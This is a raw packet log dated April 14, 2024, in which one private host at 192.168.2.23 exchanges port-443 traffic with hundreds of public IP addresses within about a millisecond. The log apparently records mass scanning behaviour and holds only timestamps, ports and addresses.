Apr 14, 2024 03:59:52.060661077 CEST	443	2135	117.248.60.178	192.168.2.23
Apr 14, 2024 03:59:52.060662031 CEST	443	2135	2.223.235.221	192.168.2.23
Apr 14, 2024 03:59:52.060669899 CEST	2135	443	192.168.2.23	123.30.214.199
Apr 14, 2024 03:59:52.060673952 CEST	2135	443	192.168.2.23	79.232.23.132
Apr 14, 2024 03:59:52.060679913 CEST	2135	443	192.168.2.23	94.73.116.94
Apr 14, 2024 03:59:52.060683012 CEST	2135	443	192.168.2.23	5.63.136.130
Apr 14, 2024 03:59:52.060683012 CEST	2135	443	192.168.2.23	42.2.34.144
Apr 14, 2024 03:59:52.060683966 CEST	2135	443	192.168.2.23	109.107.111.200
Apr 14, 2024 03:59:52.060687065 CEST	443	2135	94.73.116.94	192.168.2.23
Apr 14, 2024 03:59:52.060688019 CEST	2135	443	192.168.2.23	178.125.121.16
Apr 14, 2024 03:59:52.060693026 CEST	443	2135	42.2.34.144	192.168.2.23
Apr 14, 2024 03:59:52.060694933 CEST	443	2135	178.125.121.16	192.168.2.23
Apr 14, 2024 03:59:52.060699940 CEST	2135	443	192.168.2.23	2.223.235.221
Apr 14, 2024 03:59:52.060705900 CEST	2135	443	192.168.2.23	117.248.60.178
Apr 14, 2024 03:59:52.060705900 CEST	2135	443	192.168.2.23	117.235.34.81
Apr 14, 2024 03:59:52.060710907 CEST	2135	443	192.168.2.23	109.148.130.179
Apr 14, 2024 03:59:52.060715914 CEST	2135	443	192.168.2.23	94.73.116.94
Apr 14, 2024 03:59:52.060718060 CEST	443	2135	109.148.130.179	192.168.2.23
Apr 14, 2024 03:59:52.060720921 CEST	2135	443	192.168.2.23	178.125.121.16
Apr 14, 2024 03:59:52.060728073 CEST	2135	443	192.168.2.23	42.2.34.144
Apr 14, 2024 03:59:52.060736895 CEST	2135	443	192.168.2.23	212.105.59.104
Apr 14, 2024 03:59:52.060744047 CEST	443	2135	212.105.59.104	192.168.2.23
Apr 14, 2024 03:59:52.060748100 CEST	2135	443	192.168.2.23	79.233.118.225
Apr 14, 2024 03:59:52.060748100 CEST	2135	443	192.168.2.23	109.148.130.179
Apr 14, 2024 03:59:52.060754061 CEST	2135	443	192.168.2.23	37.249.70.226
Apr 14, 2024 03:59:52.060755014 CEST	443	2135	79.233.118.225	192.168.2.23
Apr 14, 2024 03:59:52.060755014 CEST	2135	443	192.168.2.23	212.0.80.242
Apr 14, 2024 03:59:52.060755968 CEST	2135	443	192.168.2.23	148.45.192.71
Apr 14, 2024 03:59:52.060756922 CEST	2135	443	192.168.2.23	2.183.61.213
Apr 14, 2024 03:59:52.060756922 CEST	2135	443	192.168.2.23	42.166.243.30
Apr 14, 2024 03:59:52.060762882 CEST	443	2135	212.0.80.242	192.168.2.23
Apr 14, 2024 03:59:52.060764074 CEST	443	2135	148.45.192.71	192.168.2.23
Apr 14, 2024 03:59:52.060765028 CEST	443	2135	37.249.70.226	192.168.2.23
Apr 14, 2024 03:59:52.060765982 CEST	443	2135	2.183.61.213	192.168.2.23
Apr 14, 2024 03:59:52.060772896 CEST	2135	443	192.168.2.23	178.183.147.59
Apr 14, 2024 03:59:52.060780048 CEST	443	2135	178.183.147.59	192.168.2.23
Apr 14, 2024 03:59:52.060780048 CEST	2135	443	192.168.2.23	79.233.118.225
Apr 14, 2024 03:59:52.060780048 CEST	2135	443	192.168.2.23	123.182.114.4
Apr 14, 2024 03:59:52.060785055 CEST	443	2135	42.166.243.30	192.168.2.23
Apr 14, 2024 03:59:52.060787916 CEST	443	2135	123.182.114.4	192.168.2.23
Apr 14, 2024 03:59:52.060791969 CEST	2135	443	192.168.2.23	212.105.59.104
Apr 14, 2024 03:59:52.060791969 CEST	2135	443	192.168.2.23	42.121.167.81
Apr 14, 2024 03:59:52.060792923 CEST	2135	443	192.168.2.23	212.0.80.242
Apr 14, 2024 03:59:52.060794115 CEST	2135	443	192.168.2.23	123.47.178.196
Apr 14, 2024 03:59:52.060794115 CEST	2135	443	192.168.2.23	148.45.192.71
Apr 14, 2024 03:59:52.060801029 CEST	2135	443	192.168.2.23	37.249.70.226
Apr 14, 2024 03:59:52.060803890 CEST	443	2135	123.47.178.196	192.168.2.23
Apr 14, 2024 03:59:52.060803890 CEST	443	2135	42.121.167.81	192.168.2.23
Apr 14, 2024 03:59:52.060808897 CEST	2135	443	192.168.2.23	123.182.114.4
Apr 14, 2024 03:59:52.060815096 CEST	2135	443	192.168.2.23	178.183.147.59
Apr 14, 2024 03:59:52.060822964 CEST	2135	443	192.168.2.23	2.183.61.213
Apr 14, 2024 03:59:52.060822964 CEST	2135	443	192.168.2.23	42.166.243.30
Apr 14, 2024 03:59:52.060831070 CEST	2135	443	192.168.2.23	2.8.14.255
Apr 14, 2024 03:59:52.060832977 CEST	2135	443	192.168.2.23	123.47.178.196
Apr 14, 2024 03:59:52.060837984 CEST	443	2135	2.8.14.255	192.168.2.23
Apr 14, 2024 03:59:52.060837030 CEST	2135	443	192.168.2.23	42.121.167.81
Apr 14, 2024 03:59:52.060837984 CEST	2135	443	192.168.2.23	94.59.142.15
Apr 14, 2024 03:59:52.060844898 CEST	2135	443	192.168.2.23	210.235.111.99
Apr 14, 2024 03:59:52.060848951 CEST	443	2135	94.59.142.15	192.168.2.23
Apr 14, 2024 03:59:52.060853004 CEST	443	2135	210.235.111.99	192.168.2.23
Apr 14, 2024 03:59:52.060856104 CEST	2135	443	192.168.2.23	212.22.113.124
Apr 14, 2024 03:59:52.060863018 CEST	2135	443	192.168.2.23	109.77.44.78
Apr 14, 2024 03:59:52.060863972 CEST	443	2135	212.22.113.124	192.168.2.23
Apr 14, 2024 03:59:52.060863972 CEST	2135	443	192.168.2.23	2.8.14.255
Apr 14, 2024 03:59:52.060867071 CEST	2135	443	192.168.2.23	2.141.41.223
Apr 14, 2024 03:59:52.060868025 CEST	2135	443	192.168.2.23	123.13.130.38
Apr 14, 2024 03:59:52.060873032 CEST	443	2135	109.77.44.78	192.168.2.23
Apr 14, 2024 03:59:52.060874939 CEST	443	2135	2.141.41.223	192.168.2.23
Apr 14, 2024 03:59:52.060875893 CEST	443	2135	123.13.130.38	192.168.2.23
Apr 14, 2024 03:59:52.060878038 CEST	2135	443	192.168.2.23	148.1.172.6
Apr 14, 2024 03:59:52.060879946 CEST	2135	443	192.168.2.23	118.170.41.104
Apr 14, 2024 03:59:52.060884953 CEST	443	2135	148.1.172.6	192.168.2.23
Apr 14, 2024 03:59:52.060887098 CEST	2135	443	192.168.2.23	94.59.142.15
Apr 14, 2024 03:59:52.060887098 CEST	2135	443	192.168.2.23	212.22.113.124
Apr 14, 2024 03:59:52.060887098 CEST	443	2135	118.170.41.104	192.168.2.23
Apr 14, 2024 03:59:52.060889959 CEST	2135	443	192.168.2.23	210.235.111.99
Apr 14, 2024 03:59:52.060887098 CEST	2135	443	192.168.2.23	117.2.205.1
Apr 14, 2024 03:59:52.060890913 CEST	2135	443	192.168.2.23	123.214.230.212
Apr 14, 2024 03:59:52.060894966 CEST	2135	443	192.168.2.23	5.85.3.146
Apr 14, 2024 03:59:52.060900927 CEST	2135	443	192.168.2.23	109.212.88.130
Apr 14, 2024 03:59:52.060900927 CEST	443	2135	5.85.3.146	192.168.2.23
Apr 14, 2024 03:59:52.060906887 CEST	443	2135	117.2.205.1	192.168.2.23
Apr 14, 2024 03:59:52.060906887 CEST	443	2135	123.214.230.212	192.168.2.23
Apr 14, 2024 03:59:52.060910940 CEST	2135	443	192.168.2.23	2.141.41.223
Apr 14, 2024 03:59:52.060908079 CEST	443	2135	109.212.88.130	192.168.2.23
Apr 14, 2024 03:59:52.060913086 CEST	2135	443	192.168.2.23	148.1.172.6
Apr 14, 2024 03:59:52.060915947 CEST	2135	443	192.168.2.23	5.240.107.116
Apr 14, 2024 03:59:52.060915947 CEST	2135	443	192.168.2.23	109.77.44.78
Apr 14, 2024 03:59:52.060920954 CEST	2135	443	192.168.2.23	118.170.41.104
Apr 14, 2024 03:59:52.060923100 CEST	2135	443	192.168.2.23	123.13.130.38
Apr 14, 2024 03:59:52.060924053 CEST	443	2135	5.240.107.116	192.168.2.23
Apr 14, 2024 03:59:52.060923100 CEST	2135	443	192.168.2.23	5.85.3.146
Apr 14, 2024 03:59:52.060926914 CEST	2135	443	192.168.2.23	210.179.97.225
Apr 14, 2024 03:59:52.060929060 CEST	2135	443	192.168.2.23	202.149.136.69
Apr 14, 2024 03:59:52.060930967 CEST	2135	443	192.168.2.23	5.180.125.222
Apr 14, 2024 03:59:52.060933113 CEST	2135	443	192.168.2.23	117.2.205.1
Apr 14, 2024 03:59:52.060934067 CEST	443	2135	210.179.97.225	192.168.2.23
Apr 14, 2024 03:59:52.060935020 CEST	2135	443	192.168.2.23	109.91.118.79
Apr 14, 2024 03:59:52.060935020 CEST	443	2135	202.149.136.69	192.168.2.23
Apr 14, 2024 03:59:52.060944080 CEST	443	2135	5.180.125.222	192.168.2.23
Apr 14, 2024 03:59:52.060945034 CEST	443	2135	109.91.118.79	192.168.2.23
Apr 14, 2024 03:59:52.060951948 CEST	2135	443	192.168.2.23	5.240.107.116
Apr 14, 2024 03:59:52.060950994 CEST	2135	443	192.168.2.23	109.212.88.130
Apr 14, 2024 03:59:52.060950994 CEST	2135	443	192.168.2.23	118.196.24.186
Apr 14, 2024 03:59:52.060961008 CEST	443	2135	118.196.24.186	192.168.2.23
Apr 14, 2024 03:59:52.060967922 CEST	2135	443	192.168.2.23	123.214.230.212
Apr 14, 2024 03:59:52.060971022 CEST	2135	443	192.168.2.23	202.149.136.69
Apr 14, 2024 03:59:52.060976028 CEST	2135	443	192.168.2.23	210.179.97.225
Apr 14, 2024 03:59:52.060977936 CEST	2135	443	192.168.2.23	5.180.125.222
Apr 14, 2024 03:59:52.060978889 CEST	2135	443	192.168.2.23	109.91.118.79
Apr 14, 2024 03:59:52.060988903 CEST	2135	443	192.168.2.23	118.196.24.186
Apr 14, 2024 03:59:52.061032057 CEST	2135	443	192.168.2.23	202.219.198.162
Apr 14, 2024 03:59:52.061033010 CEST	2135	443	192.168.2.23	210.33.90.234
Apr 14, 2024 03:59:52.061038017 CEST	443	2135	202.219.198.162	192.168.2.23
Apr 14, 2024 03:59:52.061038971 CEST	443	2135	210.33.90.234	192.168.2.23
Apr 14, 2024 03:59:52.061050892 CEST	2135	443	192.168.2.23	123.194.104.146
Apr 14, 2024 03:59:52.061053038 CEST	2135	443	192.168.2.23	148.94.106.221
Apr 14, 2024 03:59:52.061053038 CEST	2135	443	192.168.2.23	109.112.231.10
Apr 14, 2024 03:59:52.061053991 CEST	2135	443	192.168.2.23	118.6.71.227
Apr 14, 2024 03:59:52.061053991 CEST	2135	443	192.168.2.23	123.234.132.246
Apr 14, 2024 03:59:52.061054945 CEST	2135	443	192.168.2.23	37.64.4.111
Apr 14, 2024 03:59:52.061058998 CEST	443	2135	123.194.104.146	192.168.2.23
Apr 14, 2024 03:59:52.061059952 CEST	443	2135	118.6.71.227	192.168.2.23
Apr 14, 2024 03:59:52.061062098 CEST	443	2135	148.94.106.221	192.168.2.23
Apr 14, 2024 03:59:52.061068058 CEST	443	2135	109.112.231.10	192.168.2.23
Apr 14, 2024 03:59:52.061069965 CEST	443	2135	123.234.132.246	192.168.2.23
Apr 14, 2024 03:59:52.061070919 CEST	443	2135	37.64.4.111	192.168.2.23
Apr 14, 2024 03:59:52.061078072 CEST	2135	443	192.168.2.23	42.22.127.105
Apr 14, 2024 03:59:52.061085939 CEST	443	2135	42.22.127.105	192.168.2.23
Apr 14, 2024 03:59:52.061088085 CEST	2135	443	192.168.2.23	117.183.52.203
Apr 14, 2024 03:59:52.061088085 CEST	2135	443	192.168.2.23	118.6.71.227
Apr 14, 2024 03:59:52.061089993 CEST	2135	443	192.168.2.23	118.61.187.73
Apr 14, 2024 03:59:52.061093092 CEST	2135	443	192.168.2.23	79.120.62.92
Apr 14, 2024 03:59:52.061094046 CEST	2135	443	192.168.2.23	118.150.75.174
Apr 14, 2024 03:59:52.061093092 CEST	2135	443	192.168.2.23	202.156.76.220
Apr 14, 2024 03:59:52.061094046 CEST	2135	443	192.168.2.23	79.129.3.214
Apr 14, 2024 03:59:52.061094999 CEST	443	2135	117.183.52.203	192.168.2.23
Apr 14, 2024 03:59:52.061096907 CEST	443	2135	118.61.187.73	192.168.2.23
Apr 14, 2024 03:59:52.061094046 CEST	2135	443	192.168.2.23	210.33.90.234
Apr 14, 2024 03:59:52.061093092 CEST	2135	443	192.168.2.23	148.94.106.221
Apr 14, 2024 03:59:52.061093092 CEST	2135	443	192.168.2.23	210.132.235.175
Apr 14, 2024 03:59:52.061106920 CEST	443	2135	118.150.75.174	192.168.2.23
Apr 14, 2024 03:59:52.061114073 CEST	2135	443	192.168.2.23	109.112.231.10
Apr 14, 2024 03:59:52.061115026 CEST	2135	443	192.168.2.23	202.219.198.162
Apr 14, 2024 03:59:52.061115026 CEST	2135	443	192.168.2.23	2.4.250.206
Apr 14, 2024 03:59:52.061116934 CEST	443	2135	79.129.3.214	192.168.2.23
Apr 14, 2024 03:59:52.061119080 CEST	2135	443	192.168.2.23	37.105.100.139
Apr 14, 2024 03:59:52.061119080 CEST	2135	443	192.168.2.23	123.234.132.246
Apr 14, 2024 03:59:52.061119080 CEST	2135	443	192.168.2.23	2.192.230.98
Apr 14, 2024 03:59:52.061121941 CEST	2135	443	192.168.2.23	37.64.4.111
Apr 14, 2024 03:59:52.061121941 CEST	2135	443	192.168.2.23	148.47.235.200
Apr 14, 2024 03:59:52.061122894 CEST	443	2135	79.120.62.92	192.168.2.23
Apr 14, 2024 03:59:52.061124086 CEST	443	2135	2.4.250.206	192.168.2.23
Apr 14, 2024 03:59:52.061124086 CEST	2135	443	192.168.2.23	37.109.230.240
Apr 14, 2024 03:59:52.061125040 CEST	2135	443	192.168.2.23	123.193.227.30
Apr 14, 2024 03:59:52.061125040 CEST	2135	443	192.168.2.23	109.183.150.152
Apr 14, 2024 03:59:52.061129093 CEST	2135	443	192.168.2.23	118.150.75.174
Apr 14, 2024 03:59:52.061130047 CEST	443	2135	37.105.100.139	192.168.2.23
Apr 14, 2024 03:59:52.061131954 CEST	443	2135	148.47.235.200	192.168.2.23
Apr 14, 2024 03:59:52.061134100 CEST	443	2135	37.109.230.240	192.168.2.23
Apr 14, 2024 03:59:52.061134100 CEST	2135	443	192.168.2.23	210.63.188.70
Apr 14, 2024 03:59:52.061135054 CEST	443	2135	123.193.227.30	192.168.2.23
Apr 14, 2024 03:59:52.061135054 CEST	2135	443	192.168.2.23	117.183.52.203
Apr 14, 2024 03:59:52.061136007 CEST	443	2135	202.156.76.220	192.168.2.23
Apr 14, 2024 03:59:52.061142921 CEST	443	2135	210.63.188.70	192.168.2.23
Apr 14, 2024 03:59:52.061144114 CEST	2135	443	192.168.2.23	79.129.3.214
Apr 14, 2024 03:59:52.061146975 CEST	443	2135	2.192.230.98	192.168.2.23
Apr 14, 2024 03:59:52.061146975 CEST	443	2135	109.183.150.152	192.168.2.23
Apr 14, 2024 03:59:52.061148882 CEST	2135	443	192.168.2.23	118.61.187.73
Apr 14, 2024 03:59:52.061151981 CEST	2135	443	192.168.2.23	2.4.250.206
Apr 14, 2024 03:59:52.061155081 CEST	443	2135	210.132.235.175	192.168.2.23
Apr 14, 2024 03:59:52.061155081 CEST	2135	443	192.168.2.23	148.164.118.101
Apr 14, 2024 03:59:52.061156034 CEST	2135	443	192.168.2.23	123.194.104.146
Apr 14, 2024 03:59:52.061157942 CEST	2135	443	192.168.2.23	37.53.220.78
Apr 14, 2024 03:59:52.061161041 CEST	2135	443	192.168.2.23	79.120.62.92
Apr 14, 2024 03:59:52.061163902 CEST	2135	443	192.168.2.23	37.109.230.240
Apr 14, 2024 03:59:52.061163902 CEST	443	2135	37.53.220.78	192.168.2.23
Apr 14, 2024 03:59:52.061165094 CEST	443	2135	148.164.118.101	192.168.2.23
Apr 14, 2024 03:59:52.061172962 CEST	2135	443	192.168.2.23	210.63.188.70
Apr 14, 2024 03:59:52.061176062 CEST	2135	443	192.168.2.23	42.22.127.105
Apr 14, 2024 03:59:52.061176062 CEST	2135	443	192.168.2.23	117.114.215.174
Apr 14, 2024 03:59:52.061176062 CEST	2135	443	192.168.2.23	37.12.200.195
Apr 14, 2024 03:59:52.061176062 CEST	2135	443	192.168.2.23	123.193.227.30
Apr 14, 2024 03:59:52.061178923 CEST	2135	443	192.168.2.23	202.156.76.220
Apr 14, 2024 03:59:52.061182022 CEST	2135	443	192.168.2.23	2.192.230.98
Apr 14, 2024 03:59:52.061180115 CEST	2135	443	192.168.2.23	148.47.235.200
Apr 14, 2024 03:59:52.061182022 CEST	2135	443	192.168.2.23	37.105.100.139
Apr 14, 2024 03:59:52.061188936 CEST	443	2135	117.114.215.174	192.168.2.23
Apr 14, 2024 03:59:52.061198950 CEST	2135	443	192.168.2.23	79.239.126.214
Apr 14, 2024 03:59:52.061203003 CEST	443	2135	37.12.200.195	192.168.2.23
Apr 14, 2024 03:59:52.061203003 CEST	2135	443	192.168.2.23	148.39.165.5
Apr 14, 2024 03:59:52.061203003 CEST	2135	443	192.168.2.23	109.183.150.152
Apr 14, 2024 03:59:52.061203957 CEST	2135	443	192.168.2.23	210.132.235.175
Apr 14, 2024 03:59:52.061203003 CEST	2135	443	192.168.2.23	210.198.229.229
Apr 14, 2024 03:59:52.061208010 CEST	2135	443	192.168.2.23	37.53.220.78
Apr 14, 2024 03:59:52.061208963 CEST	443	2135	79.239.126.214	192.168.2.23
Apr 14, 2024 03:59:52.061211109 CEST	443	2135	148.39.165.5	192.168.2.23
Apr 14, 2024 03:59:52.061212063 CEST	2135	443	192.168.2.23	37.194.26.130
Apr 14, 2024 03:59:52.061214924 CEST	443	2135	210.198.229.229	192.168.2.23
Apr 14, 2024 03:59:52.061218023 CEST	443	2135	37.194.26.130	192.168.2.23
Apr 14, 2024 03:59:52.061219931 CEST	2135	443	192.168.2.23	148.164.118.101
Apr 14, 2024 03:59:52.061219931 CEST	2135	443	192.168.2.23	178.61.168.156
Apr 14, 2024 03:59:52.061219931 CEST	2135	443	192.168.2.23	117.114.215.174
Apr 14, 2024 03:59:52.061223984 CEST	2135	443	192.168.2.23	202.131.107.49
Apr 14, 2024 03:59:52.061230898 CEST	443	2135	178.61.168.156	192.168.2.23
Apr 14, 2024 03:59:52.061233044 CEST	443	2135	202.131.107.49	192.168.2.23
Apr 14, 2024 03:59:52.061247110 CEST	2135	443	192.168.2.23	148.39.165.5
Apr 14, 2024 03:59:52.061248064 CEST	2135	443	192.168.2.23	79.239.126.214
Apr 14, 2024 03:59:52.061248064 CEST	2135	443	192.168.2.23	37.12.200.195
Apr 14, 2024 03:59:52.061248064 CEST	2135	443	192.168.2.23	109.67.153.36
Apr 14, 2024 03:59:52.061248064 CEST	2135	443	192.168.2.23	202.168.119.18
Apr 14, 2024 03:59:52.061249971 CEST	2135	443	192.168.2.23	210.198.229.229
Apr 14, 2024 03:59:52.061249971 CEST	2135	443	192.168.2.23	37.194.26.130
Apr 14, 2024 03:59:52.061260939 CEST	2135	443	192.168.2.23	202.131.107.49
Apr 14, 2024 03:59:52.061268091 CEST	443	2135	109.67.153.36	192.168.2.23
Apr 14, 2024 03:59:52.061273098 CEST	2135	443	192.168.2.23	148.253.61.146
Apr 14, 2024 03:59:52.061275959 CEST	2135	443	192.168.2.23	148.41.211.185
Apr 14, 2024 03:59:52.061280012 CEST	443	2135	202.168.119.18	192.168.2.23
Apr 14, 2024 03:59:52.061285019 CEST	443	2135	148.41.211.185	192.168.2.23
Apr 14, 2024 03:59:52.061285019 CEST	443	2135	148.253.61.146	192.168.2.23
Apr 14, 2024 03:59:52.061292887 CEST	2135	443	192.168.2.23	5.172.7.245
Apr 14, 2024 03:59:52.061294079 CEST	2135	443	192.168.2.23	178.61.168.156
Apr 14, 2024 03:59:52.061294079 CEST	2135	443	192.168.2.23	109.67.153.36
Apr 14, 2024 03:59:52.061299086 CEST	443	2135	5.172.7.245	192.168.2.23
Apr 14, 2024 03:59:52.061302900 CEST	2135	443	192.168.2.23	42.172.2.53
Apr 14, 2024 03:59:52.061307907 CEST	2135	443	192.168.2.23	202.168.119.18
Apr 14, 2024 03:59:52.061307907 CEST	2135	443	192.168.2.23	202.22.208.251
Apr 14, 2024 03:59:52.061315060 CEST	443	2135	202.22.208.251	192.168.2.23
Apr 14, 2024 03:59:52.061316013 CEST	2135	443	192.168.2.23	148.41.211.185
Apr 14, 2024 03:59:52.061320066 CEST	443	2135	42.172.2.53	192.168.2.23
Apr 14, 2024 03:59:52.061331034 CEST	2135	443	192.168.2.23	37.65.72.6
Apr 14, 2024 03:59:52.061331034 CEST	2135	443	192.168.2.23	178.22.4.196
Apr 14, 2024 03:59:52.061331034 CEST	2135	443	192.168.2.23	42.139.64.140
Apr 14, 2024 03:59:52.061331987 CEST	2135	443	192.168.2.23	148.253.61.146
Apr 14, 2024 03:59:52.061332941 CEST	2135	443	192.168.2.23	5.172.7.245
Apr 14, 2024 03:59:52.061338902 CEST	443	2135	178.22.4.196	192.168.2.23
Apr 14, 2024 03:59:52.061341047 CEST	443	2135	37.65.72.6	192.168.2.23
Apr 14, 2024 03:59:52.061347008 CEST	2135	443	192.168.2.23	42.172.2.53
Apr 14, 2024 03:59:52.061348915 CEST	2135	443	192.168.2.23	202.22.208.251
Apr 14, 2024 03:59:52.061352968 CEST	443	2135	42.139.64.140	192.168.2.23
Apr 14, 2024 03:59:52.061361074 CEST	2135	443	192.168.2.23	42.246.246.2
Apr 14, 2024 03:59:52.061366081 CEST	2135	443	192.168.2.23	202.228.255.75
Apr 14, 2024 03:59:52.061367035 CEST	443	2135	42.246.246.2	192.168.2.23
Apr 14, 2024 03:59:52.061371088 CEST	2135	443	192.168.2.23	37.65.72.6
Apr 14, 2024 03:59:52.061372995 CEST	443	2135	202.228.255.75	192.168.2.23
Apr 14, 2024 03:59:52.061373949 CEST	2135	443	192.168.2.23	178.22.4.196
Apr 14, 2024 03:59:52.061373949 CEST	2135	443	192.168.2.23	42.139.64.140
Apr 14, 2024 03:59:52.061386108 CEST	2135	443	192.168.2.23	148.66.211.42
Apr 14, 2024 03:59:52.061391115 CEST	2135	443	192.168.2.23	109.23.144.16
Apr 14, 2024 03:59:52.061393023 CEST	443	2135	148.66.211.42	192.168.2.23
Apr 14, 2024 03:59:52.061397076 CEST	2135	443	192.168.2.23	37.223.147.59
Apr 14, 2024 03:59:52.061397076 CEST	443	2135	109.23.144.16	192.168.2.23
Apr 14, 2024 03:59:52.061398983 CEST	2135	443	192.168.2.23	42.246.246.2
Apr 14, 2024 03:59:52.061403990 CEST	443	2135	37.223.147.59	192.168.2.23
Apr 14, 2024 03:59:52.061407089 CEST	2135	443	192.168.2.23	202.228.255.75
Apr 14, 2024 03:59:52.061414003 CEST	2135	443	192.168.2.23	118.54.21.156
Apr 14, 2024 03:59:52.061419964 CEST	443	2135	118.54.21.156	192.168.2.23
Apr 14, 2024 03:59:52.061419010 CEST	2135	443	192.168.2.23	42.5.174.228
Apr 14, 2024 03:59:52.061419010 CEST	2135	443	192.168.2.23	212.164.240.234
Apr 14, 2024 03:59:52.061419964 CEST	2135	443	192.168.2.23	109.98.98.85
Apr 14, 2024 03:59:52.061424971 CEST	2135	443	192.168.2.23	148.66.211.42
Apr 14, 2024 03:59:52.061430931 CEST	443	2135	42.5.174.228	192.168.2.23
Apr 14, 2024 03:59:52.061436892 CEST	2135	443	192.168.2.23	123.223.160.70
Apr 14, 2024 03:59:52.061443090 CEST	2135	443	192.168.2.23	109.23.144.16
Apr 14, 2024 03:59:52.061443090 CEST	2135	443	192.168.2.23	2.97.84.221
Apr 14, 2024 03:59:52.061444998 CEST	443	2135	123.223.160.70	192.168.2.23
Apr 14, 2024 03:59:52.061446905 CEST	443	2135	212.164.240.234	192.168.2.23
Apr 14, 2024 03:59:52.061450005 CEST	443	2135	2.97.84.221	192.168.2.23
Apr 14, 2024 03:59:52.061451912 CEST	2135	443	192.168.2.23	118.54.21.156
Apr 14, 2024 03:59:52.061458111 CEST	443	2135	109.98.98.85	192.168.2.23
Apr 14, 2024 03:59:52.061460972 CEST	2135	443	192.168.2.23	42.57.223.77
Apr 14, 2024 03:59:52.061464071 CEST	2135	443	192.168.2.23	2.70.21.152
Apr 14, 2024 03:59:52.061467886 CEST	443	2135	42.57.223.77	192.168.2.23
Apr 14, 2024 03:59:52.061470985 CEST	443	2135	2.70.21.152	192.168.2.23
Apr 14, 2024 03:59:52.061475039 CEST	2135	443	192.168.2.23	37.223.147.59
Apr 14, 2024 03:59:52.061475039 CEST	2135	443	192.168.2.23	42.5.174.228
Apr 14, 2024 03:59:52.061475039 CEST	2135	443	192.168.2.23	212.164.240.234
Apr 14, 2024 03:59:52.061480045 CEST	2135	443	192.168.2.23	2.97.84.221
Apr 14, 2024 03:59:52.061482906 CEST	2135	443	192.168.2.23	123.223.160.70
Apr 14, 2024 03:59:52.061495066 CEST	2135	443	192.168.2.23	42.57.223.77
Apr 14, 2024 03:59:52.061496973 CEST	2135	443	192.168.2.23	109.98.98.85
Apr 14, 2024 03:59:52.061499119 CEST	2135	443	192.168.2.23	2.70.21.152
Apr 14, 2024 03:59:52.061511040 CEST	2135	443	192.168.2.23	109.194.186.11
Apr 14, 2024 03:59:52.061512947 CEST	2135	443	192.168.2.23	212.254.250.101
Apr 14, 2024 03:59:52.061516047 CEST	2135	443	192.168.2.23	79.88.186.228
Apr 14, 2024 03:59:52.061518908 CEST	443	2135	109.194.186.11	192.168.2.23
Apr 14, 2024 03:59:52.061521053 CEST	443	2135	212.254.250.101	192.168.2.23
Apr 14, 2024 03:59:52.061522961 CEST	443	2135	79.88.186.228	192.168.2.23
Apr 14, 2024 03:59:52.061532021 CEST	2135	443	192.168.2.23	178.32.135.42
Apr 14, 2024 03:59:52.061538935 CEST	2135	443	192.168.2.23	178.178.105.107
Apr 14, 2024 03:59:52.061538935 CEST	2135	443	192.168.2.23	37.0.180.124
Apr 14, 2024 03:59:52.061538935 CEST	443	2135	178.32.135.42	192.168.2.23
Apr 14, 2024 03:59:52.061538935 CEST	2135	443	192.168.2.23	212.68.161.12
Apr 14, 2024 03:59:52.061547995 CEST	443	2135	37.0.180.124	192.168.2.23
Apr 14, 2024 03:59:52.061547995 CEST	2135	443	192.168.2.23	109.194.186.11
Apr 14, 2024 03:59:52.061548948 CEST	443	2135	178.178.105.107	192.168.2.23
Apr 14, 2024 03:59:52.061548948 CEST	443	2135	212.68.161.12	192.168.2.23
Apr 14, 2024 03:59:52.061561108 CEST	2135	443	192.168.2.23	212.254.250.101
Apr 14, 2024 03:59:52.061568975 CEST	2135	443	192.168.2.23	79.88.186.228
Apr 14, 2024 03:59:52.061618090 CEST	2135	443	192.168.2.23	178.32.135.42
Apr 14, 2024 03:59:52.061619043 CEST	2135	443	192.168.2.23	178.239.165.235
Apr 14, 2024 03:59:52.061619043 CEST	2135	443	192.168.2.23	109.110.57.137
Apr 14, 2024 03:59:52.061630964 CEST	2135	443	192.168.2.23	42.38.151.52
Apr 14, 2024 03:59:52.061630964 CEST	2135	443	192.168.2.23	109.233.202.196
Apr 14, 2024 03:59:52.061630964 CEST	2135	443	192.168.2.23	148.64.30.141
Apr 14, 2024 03:59:52.061634064 CEST	2135	443	192.168.2.23	94.118.102.228
Apr 14, 2024 03:59:52.061634064 CEST	2135	443	192.168.2.23	79.82.24.19
Apr 14, 2024 03:59:52.061634064 CEST	2135	443	192.168.2.23	118.134.88.67
Apr 14, 2024 03:59:52.061635017 CEST	443	2135	178.239.165.235	192.168.2.23
Apr 14, 2024 03:59:52.061636925 CEST	2135	443	192.168.2.23	109.38.213.252
Apr 14, 2024 03:59:52.061636925 CEST	2135	443	192.168.2.23	79.159.111.51
Apr 14, 2024 03:59:52.061636925 CEST	2135	443	192.168.2.23	5.0.33.114
Apr 14, 2024 03:59:52.061636925 CEST	2135	443	192.168.2.23	202.228.180.32
Apr 14, 2024 03:59:52.061636925 CEST	2135	443	192.168.2.23	178.178.105.107
Apr 14, 2024 03:59:52.061636925 CEST	2135	443	192.168.2.23	37.101.18.178
Apr 14, 2024 03:59:52.061636925 CEST	2135	443	192.168.2.23	37.0.180.124
Apr 14, 2024 03:59:52.061640978 CEST	443	2135	79.82.24.19	192.168.2.23
Apr 14, 2024 03:59:52.061641932 CEST	443	2135	94.118.102.228	192.168.2.23
Apr 14, 2024 03:59:52.061644077 CEST	443	2135	118.134.88.67	192.168.2.23
Apr 14, 2024 03:59:52.061645031 CEST	443	2135	42.38.151.52	192.168.2.23
Apr 14, 2024 03:59:52.061649084 CEST	443	2135	109.110.57.137	192.168.2.23
Apr 14, 2024 03:59:52.061650991 CEST	443	2135	109.38.213.252	192.168.2.23
Apr 14, 2024 03:59:52.061651945 CEST	443	2135	79.159.111.51	192.168.2.23
Apr 14, 2024 03:59:52.061652899 CEST	2135	443	192.168.2.23	212.68.161.12
Apr 14, 2024 03:59:52.061654091 CEST	2135	443	192.168.2.23	210.172.134.54
Apr 14, 2024 03:59:52.061654091 CEST	443	2135	109.233.202.196	192.168.2.23
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	117.130.156.153
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	178.2.225.10
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	123.180.254.252
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	5.71.30.180
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	79.85.229.223
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	210.102.48.70
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	210.104.185.51
